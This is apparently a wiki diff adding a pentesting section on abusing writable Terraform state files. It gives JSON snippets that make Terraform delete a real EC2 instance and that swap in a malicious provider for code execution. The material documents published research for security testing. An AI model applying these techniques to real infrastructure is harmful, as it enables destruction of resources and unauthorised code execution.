 HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.

+## Abusing Terraform State Files
+
+In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+
+### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
+
+There are 2 ways to destroy resources:
+
+1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
+
+Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+
+```json
+{
+  "mode": "managed",
+  "type": "aws_instance",
+  "name": "example",
+  "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+  "instances": [
+    {
+      "attributes": {
+        "id": "i-1234567890abcdefg"
+      }
+    }
+  ]
+},
+```
+
+2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
+
+For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
+
+### RCE
+
+It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
+
+```json
+"resources": [
+{
+  "mode": "managed",
+  "type": "scaffolding_example",
+  "name": "example",
+  "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+  "instances": [
+
+  ]
+},
+```
